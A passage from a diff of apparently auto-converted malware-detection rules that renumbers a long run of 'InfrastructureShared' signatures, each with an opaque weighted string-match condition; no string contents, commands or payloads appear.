1)*2305+(#a_90_4 & 1)*11568+(#a_07_6 & 1)*-6143+(#a_34_7 & 1)*24877+(#a_2d_8 & 1)*26165+(#a_68_9 & 1)*29249+(#a_55_10 & 1)*13614+(#a_2d_11 & 1)*24941) >=4 } -rule _InfrastructureShared_19569{ +rule _InfrastructureShared_20775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 21 " @@ -242923,7 +257872,7 @@ rule _InfrastructureShared_19569{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*14709+(#a_75_2 & 1)*15361+(#a_69_3 & 1)*28784+(#a_2e_4 & 1)*26223) >=8 } -rule _InfrastructureShared_19570{ +rule _InfrastructureShared_20776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -242944,7 +257893,7 @@ rule _InfrastructureShared_19570{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1) >=12 } -rule _InfrastructureShared_19571{ +rule _InfrastructureShared_20777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -242964,7 +257913,7 @@ rule _InfrastructureShared_19571{ ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*29795+(#a_30_2 & 1)*9217+(#a_50_3 & 1)*13136+(#a_37_4 & 1)*20535+(#a_61_6 & 1)*20737+(#a_00_7 & 1)*115+(#a_00_9 & 1)*97+(#a_00_10 & 1)*105+(#a_00_11 & 1)*115+(#a_00_12 & 1)*114) >=13 } -rule _InfrastructureShared_19572{ +rule _InfrastructureShared_20778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -242976,7 +257925,7 @@ rule _InfrastructureShared_19572{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_00_2 & 1)*114) >=2 } -rule _InfrastructureShared_19573{ +rule _InfrastructureShared_20779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -242988,7 +257937,7 @@ rule _InfrastructureShared_19573{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*97+(#a_00_3 & 1)*109) >=3 } -rule _InfrastructureShared_19574{ +rule _InfrastructureShared_20780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 21 " @@ -243001,7 +257950,7 @@ rule _InfrastructureShared_19574{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*100+(#a_00_3 & 1)*114+(#a_00_5 & 1)*32) >=8 } -rule _InfrastructureShared_19575{ +rule _InfrastructureShared_20781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 17 00 21 " @@ -243033,7 +257982,7 @@ rule _InfrastructureShared_19575{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*12401+(#a_73_2 & 1)*13157+(#a_64_3 & 1)*31285+(#a_67_4 & 1)*28774+(#a_00_5 & 1)*20557+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_03_21 & 1)*5+(#a_e9_22 & 1)*0) >=8 } -rule _InfrastructureShared_19576{ +rule _InfrastructureShared_20782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 12 00 21 " @@ -243056,7 +258005,7 @@ rule _InfrastructureShared_19576{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*97+(#a_00_3 & 1)*108+(#a_74_4 & 1)*25645+(#a_00_5 & 1)*109+(#a_6b_7 & 1)*23553+(#a_65_8 & 1)*24907+(#a_74_9 & 1)*29284+(#a_74_10 & 1)*28245+(#a_67_11 & 1)*28787+(#a_00_12 & 1)*114+(#a_00_13 & 1)*115+(#a_47_15 & 1)*5888+(#a_90_16 & 1)*25964) >=10 } -rule _InfrastructureShared_19577{ +rule _InfrastructureShared_20783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -243075,7 +258024,7 @@ rule _InfrastructureShared_19577{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28015+(#a_6e_2 & 1)*28265+(#a_6e_3 & 1)*26996+(#a_67_4 & 1)*26994+(#a_41_5 & 1)*5632+(#a_2e_6 & 1)*25959+(#a_00_8 & 1)*45+(#a_6f_9 & 1)*29797+(#a_00_10 & 1)*99) >=12 } -rule _InfrastructureShared_19578{ +rule _InfrastructureShared_20784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 09 00 21 " @@ -243089,7 +258038,7 @@ rule _InfrastructureShared_19578{ ((#a_46_0 & 1)*16675+(#a_90_2 & 1)*108+(#a_00_4 & 1)*115+(#a_47_6 & 1)*5888+(#a_90_7 & 1)*25964) >=15 } -rule _InfrastructureShared_19579{ +rule _InfrastructureShared_20785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0c 00 21 " @@ -243109,7 +258058,7 @@ rule _InfrastructureShared_19579{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*27745+(#a_75_2 & 1)*279+(#a_66_3 & 1)*25458+(#a_44_4 & 1)*28532+(#a_00_6 & 1)*97+(#a_74_7 & 1)*25962+(#a_18_8 & 1)*-31997+(#a_b7_9 & 1)*4098+(#a_00_10 & 1)*513+(#a_90_11 & 1)*68) >=15 } -rule _InfrastructureShared_19580{ +rule _InfrastructureShared_20786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0e 00 21 " @@ -243129,7 +258078,7 @@ rule _InfrastructureShared_19580{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*656+(#a_68_3 & 1)*-15229+(#a_00_4 & 1)*6146+(#a_05_5 & 1)*4098+(#a_90_7 & 1)*-240+(#a_00_8 & 1)*-5512+(#a_41_10 & 1)*8448+(#a_73_11 & 1)*25942+(#a_01_12 & 1)*-28672+(#a_61_13 & 1)*281) >=1 } -rule _InfrastructureShared_19581{ +rule _InfrastructureShared_20787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 09 00 21 " @@ -243146,7 +258095,7 @@ rule _InfrastructureShared_19581{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_2d_2 & 1)*23085+(#a_6d_3 & 1)*26115+(#a_09_4 & 1)*31277+(#a_00_5 & 1)*110+(#a_00_7 & 1)*97+(#a_61_8 & 1)*29216) >=2 } -rule _InfrastructureShared_19582{ +rule _InfrastructureShared_20788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 09 00 21 " @@ -243162,7 +258111,7 @@ rule _InfrastructureShared_19582{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*120+(#a_00_3 & 1)*2050+(#a_6e_4 & 1)*27680+(#a_36_5 & 1)*13668+(#a_01_7 & 1)*30720+(#a_90_8 & 1)*11568) >=2 } -rule _InfrastructureShared_19583{ +rule _InfrastructureShared_20789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -243179,7 +258128,7 @@ rule _InfrastructureShared_19583{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32+(#a_71_3 & 1)*28269+(#a_19_4 & 1)*1+(#a_2d_5 & 1)*14637+(#a_6c_6 & 1)*11876+(#a_64_7 & 1)*25715+(#a_64_8 & 1)*26214) >=4 } -rule _InfrastructureShared_19584{ +rule _InfrastructureShared_20790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -243199,7 +258148,7 @@ rule _InfrastructureShared_19584{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*27755+(#a_73_2 & 1)*25703+(#a_66_3 & 1)*29543+(#a_2e_4 & 1)*26483+(#a_31_5 & 1)*29811+(#a_65_6 & 1)*26217+(#a_73_7 & 1)*26990+(#a_6f_8 & 1)*23610+(#a_41_9 & 1)*-32491+(#a_73_10 & 1)*27237) >=11 } -rule _InfrastructureShared_19585{ +rule _InfrastructureShared_20791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -243218,7 +258167,7 @@ rule _InfrastructureShared_19585{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*25970+(#a_74_2 & 1)*28531+(#a_31_4 & 1)*29697+(#a_4a_5 & 1)*29543+(#a_79_6 & 1)*29697+(#a_66_7 & 1)*24899+(#a_72_8 & 1)*11877+(#a_65_9 & 1)*11886+(#a_74_10 & 1)*30052) >=11 } -rule _InfrastructureShared_19586{ +rule _InfrastructureShared_20792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -243238,7 +258187,7 @@ rule _InfrastructureShared_19586{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28519+(#a_6e_2 & 1)*19713+(#a_72_3 & 1)*18541+(#a_65_4 & 1)*29545+(#a_41_5 & 1)*19529+(#a_00_6 & 1)*29540+(#a_65_7 & 1)*385+(#a_65_8 & 1)*29285+(#a_65_9 & 1)*9252+(#a_33_11 & 1)*24833) >=12 } -rule _InfrastructureShared_19587{ +rule _InfrastructureShared_20793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 14 00 21 " @@ -243265,7 +258214,7 @@ rule _InfrastructureShared_19587{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*22383+(#a_68_2 & 1)*25965+(#a_6f_3 & 1)*29797+(#a_65_4 & 1)*11876+(#a_72_5 & 1)*29801+(#a_68_7 & 1)*12288+(#a_50_8 & 1)*656+(#a_20_9 & 1)*-28672+(#a_90_10 & 1)*10242+(#a_e8_11 & 1)*21248+(#a_01_12 & 1)*26627+(#a_90_13 & 1)*4098+(#a_2d_14 & 1)*23085+(#a_2c_16 & 1)*83+(#a_5a_17 & 1)*16762+(#a_09_18 & 1)*14637+(#a_81_19 & 1)*1) >=20 } -rule _InfrastructureShared_19588{ +rule _InfrastructureShared_20794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0b 00 21 " @@ -243284,7 +258233,7 @@ rule _InfrastructureShared_19588{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*1+(#a_02_2 & 1)*4082+(#a_68_3 & 1)*656+(#a_02_5 & 1)*20563+(#a_20_6 & 1)*8306+(#a_90_7 & 1)*11568+(#a_00_8 & 1)*14637+(#a_75_9 & 1)*831+(#a_01_10 & 1)*-28589) >=1 } -rule _InfrastructureShared_19589{ +rule _InfrastructureShared_20795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -243298,7 +258247,7 @@ rule _InfrastructureShared_19589{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*30322+(#a_00_3 & 1)*101+(#a_2d_5 & 1)*2305+(#a_19_6 & 1)*8306) >=7 } -rule _InfrastructureShared_19590{ +rule _InfrastructureShared_20796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -243318,7 +258267,7 @@ rule _InfrastructureShared_19590{ ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*21596+(#a_55_2 & 1)*29554+(#a_65_3 & 1)*25954+(#a_65_4 & 1)*30062+(#a_53_6 & 1)*10496+(#a_49_7 & 1)*25955+(#a_69_8 & 1)*19758+(#a_53_9 & 1)*7424+(#a_6e_10 & 1)*25955+(#a_63_11 & 1)*28755) >=12 } -rule _InfrastructureShared_19591{ +rule _InfrastructureShared_20797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -243339,7 +258288,7 @@ rule _InfrastructureShared_19591{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*29300+(#a_63_2 & 1)*30063+(#a_75_3 & 1)*29541+(#a_63_5 & 1)*17665+(#a_71_6 & 1)*29041+(#a_65_7 & 1)*11877+(#a_73_8 & 1)*27715+(#a_74_9 & 1)*25962+(#a_65_10 & 1)*29806+(#a_6d_11 & 1)*26158+(#a_2e_12 & 1)*17228) >=13 } -rule _InfrastructureShared_19592{ +rule _InfrastructureShared_20798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -243362,7 +258311,7 @@ rule _InfrastructureShared_19592{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25938+(#a_72_2 & 1)*25939+(#a_79_3 & 1)*24946+(#a_77_4 & 1)*26998+(#a_34_5 & 1)*17733+(#a_75_6 & 1)*26734+(#a_6d_7 & 1)*26158+(#a_72_8 & 1)*28271+(#a_54_9 & 1)*29998+(#a_78_10 & 1)*29797+(#a_79_11 & 1)*28261+(#a_44_12 & 1)*14133+(#a_00_13 & 1)*116) >=14 } -rule _InfrastructureShared_19593{ +rule _InfrastructureShared_20799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 14 00 21 " @@ -243386,7 +258335,7 @@ rule _InfrastructureShared_19593{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*30063+(#a_6f_2 & 1)*25970+(#a_43_4 & 1)*20737+(#a_74_5 & 1)*29797+(#a_61_6 & 1)*25665+(#a_34_7 & 1)*14402+(#a_00_9 & 1)*44+(#a_00_10 & 1)*46+(#a_00_12 & 1)*108+(#a_00_14 & 1)*40+(#a_00_16 & 1)*66+(#a_61_17 & 1)*24436+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1) >=20 } -rule _InfrastructureShared_19594{ +rule _InfrastructureShared_20800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -243398,7 +258347,7 @@ rule _InfrastructureShared_19594{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*13634+(#a_00_3 & 1)*109) >=3 } -rule _InfrastructureShared_19595{ +rule _InfrastructureShared_20801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -243412,7 +258361,7 @@ rule _InfrastructureShared_19595{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12297+(#a_2c_3 & 1)*112+(#a_90_4 & 1)*11617+(#a_00_6 & 1)*120) >=3 } -rule _InfrastructureShared_19596{ +rule _InfrastructureShared_20802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -243426,7 +258375,7 @@ rule _InfrastructureShared_19596{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*45+(#a_00_4 & 1)*99+(#a_00_6 & 1)*116+(#a_70_7 & 1)*23567) >=4 } -rule _InfrastructureShared_19597{ +rule _InfrastructureShared_20803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0c 00 21 " @@ -243446,7 +258395,7 @@ rule _InfrastructureShared_19597{ ((#a_46_0 & 1)*21283+(#a_66_1 & 1)*28483+(#a_2e_2 & 1)*26982+(#a_75_3 & 1)*24909+(#a_61_4 & 1)*280+(#a_3a_5 & 1)*12889+(#a_53_6 & 1)*19971+(#a_61_7 & 1)*281+(#a_19_8 & 1)*1+(#a_00_10 & 1)*67+(#a_01_11 & 1)*1) >=4 } -rule _InfrastructureShared_19598{ +rule _InfrastructureShared_20804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0a 00 21 " @@ -243465,7 +258414,7 @@ rule _InfrastructureShared_19598{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*24841+(#a_01_2 & 1)*-28672+(#a_7a_3 & 1)*24841+(#a_61_4 & 1)*8313+(#a_00_5 & 1)*114+(#a_2d_6 & 1)*2305+(#a_39_7 & 1)*12297+(#a_00_8 & 1)*-6144+(#a_65_9 & 1)*-6143) >=8 } -rule _InfrastructureShared_19599{ +rule _InfrastructureShared_20805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 17 00 21 " @@ -243495,7 +258444,7 @@ rule _InfrastructureShared_19599{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*28777+(#a_69_3 & 1)*27905+(#a_01_4 & 1)*25445+(#a_6e_5 & 1)*24941+(#a_52_7 & 1)*21320+(#a_6e_8 & 1)*29226+(#a_74_9 & 1)*28233+(#a_65_10 & 1)*10857+(#a_30_11 & 1)*7680+(#a_33_12 & 1)*17478+(#a_41_13 & 1)*16951+(#a_45_14 & 1)*13872+(#a_53_15 & 1)*8993+(#a_70_16 & 1)*17153+(#a_01_17 & 1)*2816+(#a_6f_18 & 1)*25938+(#a_72_19 & 1)*30316+(#a_72_20 & 1)*29953+(#a_01_21 & 1)*16459+(#a_7c_22 & 1)*18432) >=22 } -rule _InfrastructureShared_19600{ +rule _InfrastructureShared_20806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0f 00 21 " @@ -243517,7 +258466,7 @@ rule _InfrastructureShared_19600{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25972+(#a_6e_2 & 1)*278+(#a_33_3 & 1)*17988+(#a_35_4 & 1)*17458+(#a_30_5 & 1)*12339+(#a_42_6 & 1)*16963+(#a_35_7 & 1)*16947+(#a_32_8 & 1)*17746+(#a_01_9 & 1)*25954+(#a_50_10 & 1)*27746+(#a_2e_11 & 1)*29281+(#a_52_12 & 1)*385) >=1 } -rule _InfrastructureShared_19601{ +rule _InfrastructureShared_20807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 17 00 21 " @@ -243548,7 +258497,7 @@ rule _InfrastructureShared_19601{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28233+(#a_61_2 & 1)*17665+(#a_75_3 & 1)*29541+(#a_6c_4 & 1)*29541+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*2+(#a_03_9 & 1)*2+(#a_03_10 & 1)*2+(#a_03_11 & 1)*2+(#a_03_12 & 1)*2+(#a_03_13 & 1)*2+(#a_ee_14 & 1)*0+(#a_38_15 & 1)*14137+(#a_67_16 & 1)*26472+(#a_73_17 & 1)*25971+(#a_61_18 & 1)*26994+(#a_53_19 & 1)*14962+(#a_00_20 & 1)*115+(#a_00_21 & 1)*46+(#a_00_22 & 1)*32) >=23 } -rule _InfrastructureShared_19602{ +rule _InfrastructureShared_20808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -243564,7 +258513,7 @@ rule _InfrastructureShared_19602{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*29287+(#a_90_2 & 1)*3979+(#a_02_3 & 1)*5248+(#a_00_4 & 1)*-13597+(#a_48_7 & 1)*8448+(#a_80_8 & 1)*1) >=3 } -rule _InfrastructureShared_19603{ +rule _InfrastructureShared_20809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -243581,7 +258530,7 @@ rule _InfrastructureShared_19603{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*12336+(#a_3a_2 & 1)*28788+(#a_6e_3 & 1)*19314+(#a_61_4 & 1)*384+(#a_73_5 & 1)*26996+(#a_00_6 & 1)*105+(#a_00_8 & 1)*112) >=9 } -rule _InfrastructureShared_19604{ +rule _InfrastructureShared_20810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0a 00 21 " @@ -243596,7 +258545,7 @@ rule _InfrastructureShared_19604{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*101+(#a_00_3 & 1)*36+(#a_00_5 & 1)*111+(#a_00_7 & 1)*110+(#a_6f_8 & 1)*27491) >=11 } -rule _InfrastructureShared_19605{ +rule _InfrastructureShared_20811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -243610,7 +258559,7 @@ rule _InfrastructureShared_19605{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_00_3 & 1)*32+(#a_00_5 & 1)*97+(#a_01_6 & 1)*1) >=5 } -rule _InfrastructureShared_19606{ +rule _InfrastructureShared_20812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -243626,7 +258575,7 @@ rule _InfrastructureShared_19606{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*97+(#a_00_3 & 1)*110+(#a_00_4 & 1)*49+(#a_00_5 & 1)*79+(#a_00_6 & 1)*101+(#a_6b_7 & 1)*28498) >=5 } -rule _InfrastructureShared_19607{ +rule _InfrastructureShared_20813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -243640,7 +258589,7 @@ rule _InfrastructureShared_19607{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*98+(#a_00_4 & 1)*114+(#a_00_5 & 1)*68+(#a_00_7 & 1)*92) >=6 } -rule _InfrastructureShared_19608{ +rule _InfrastructureShared_20814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0c 00 21 " @@ -243659,7 +258608,7 @@ rule _InfrastructureShared_19608{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*2304+(#a_69_2 & 1)*29811+(#a_00_4 & 1)*119+(#a_00_5 & 1)*54+(#a_00_7 & 1)*120+(#a_72_8 & 1)*25697+(#a_6c_9 & 1)*29811+(#a_72_10 & 1)*23666+(#a_64_11 & 1)*28526) >=9 } -rule _InfrastructureShared_19609{ +rule _InfrastructureShared_20815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -243680,7 +258629,7 @@ rule _InfrastructureShared_19609{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*19968+(#a_76_2 & 1)*29255+(#a_76_3 & 1)*25956+(#a_5c_4 & 1)*28265+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1) >=12 } -rule _InfrastructureShared_19610{ +rule _InfrastructureShared_20816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 19 00 21 " @@ -243707,7 +258656,7 @@ rule _InfrastructureShared_19610{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28531+(#a_65_2 & 1)*24942+(#a_5f_3 & 1)*25971+(#a_6e_4 & 1)*26996+(#a_30_5 & 1)*11585+(#a_2d_6 & 1)*31277+(#a_69_7 & 1)*25445+(#a_78_8 & 1)*15202+(#a_39_9 & 1)*12378+(#a_73_10 & 1)*20527+(#a_00_11 & 1)*26478+(#a_65_12 & 1)*11776+(#a_6e_13 & 1)*9+(#a_71_14 & 1)*16641+(#a_74_15 & 1)*28483+(#a_00_16 & 1)*51+(#a_00_19 & 1)*0) >=25 } -rule _InfrastructureShared_19611{ +rule _InfrastructureShared_20817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -243721,7 +258670,7 @@ rule _InfrastructureShared_19611{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_74_2 & 1)*8293+(#a_61_3 & 1)*281+(#a_19_4 & 1)*1) >=1 } -rule _InfrastructureShared_19612{ +rule _InfrastructureShared_20818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 1d 00 21 " @@ -243755,7 +258704,7 @@ rule _InfrastructureShared_19612{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_01_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_01_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*2+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_00_20 & 1)*1+(#a_00_21 & 1)*1+(#a_00_22 & 1)*1+(#a_00_23 & 1)*1+(#a_f0_24 & 1)*0) >=3 } -rule _InfrastructureShared_19613{ +rule _InfrastructureShared_20819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -243765,7 +258714,7 @@ rule _InfrastructureShared_19613{ ((#a_54_0 & 1)*18467) >=11 } -rule _InfrastructureShared_19614{ +rule _InfrastructureShared_20820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0f 00 21 " @@ -243788,7 +258737,7 @@ rule _InfrastructureShared_19614{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-28587+(#a_8b_3 & 1)*6656+(#a_90_4 & 1)*-29935+(#a_10_5 & 1)*257+(#a_10_6 & 1)*-5037+(#a_90_7 & 1)*26148+(#a_90_8 & 1)*0+(#a_74_9 & 1)*28531+(#a_6c_10 & 1)*28263+(#a_6f_11 & 1)*26994+(#a_5c_12 & 1)*30575+(#a_00_13 & 1)*1+(#a_56_14 & 1)*22842) >=1 } -rule _InfrastructureShared_19615{ +rule _InfrastructureShared_20821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -243801,7 +258750,7 @@ rule _InfrastructureShared_19615{ ((#a_4c_0 & 1)*21539+(#a_24_1 & 1)*-30392+(#a_80_2 & 1)*0+(#a_05_3 & 1)*-30392) >=4 } -rule _InfrastructureShared_19616{ +rule _InfrastructureShared_20822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0a 00 21 " @@ -243820,7 +258769,7 @@ rule _InfrastructureShared_19616{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*26980+(#a_38_2 & 1)*29295+(#a_64_3 & 1)*29554+(#a_66_4 & 1)*21249+(#a_72_5 & 1)*28275+(#a_61_6 & 1)*29545+(#a_01_7 & 1)*-28615+(#a_2d_8 & 1)*23085+(#a_7a_9 & 1)*24841) >=9 } -rule _InfrastructureShared_19617{ +rule _InfrastructureShared_20823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -243833,7 +258782,7 @@ rule _InfrastructureShared_19617{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*26980+(#a_19_2 & 1)*1+(#a_00_4 & 1)*85) >=1 } -rule _InfrastructureShared_19618{ +rule _InfrastructureShared_20824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -243846,7 +258795,7 @@ rule _InfrastructureShared_19618{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*121+(#a_00_3 & 1)*114+(#a_39_4 & 1)*12297) >=3 } -rule _InfrastructureShared_19619{ +rule _InfrastructureShared_20825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -243860,7 +258809,7 @@ rule _InfrastructureShared_19619{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_00_3 & 1)*100+(#a_00_4 & 1)*110+(#a_2d_5 & 1)*31277) >=3 } -rule _InfrastructureShared_19620{ +rule _InfrastructureShared_20826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -243873,7 +258822,7 @@ rule _InfrastructureShared_19620{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*47+(#a_00_4 & 1)*110+(#a_00_5 & 1)*113) >=4 } -rule _InfrastructureShared_19621{ +rule _InfrastructureShared_20827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -243889,7 +258838,7 @@ rule _InfrastructureShared_19621{ ((#a_4c_0 & 1)*21539+(#a_79_1 & 1)*28258+(#a_65_2 & 1)*30791+(#a_6e_3 & 1)*27726+(#a_62_4 & 1)*27736+(#a_7a_5 & 1)*18274+(#a_dd_7 & 1)*-28924) >=8 } -rule _InfrastructureShared_19622{ +rule 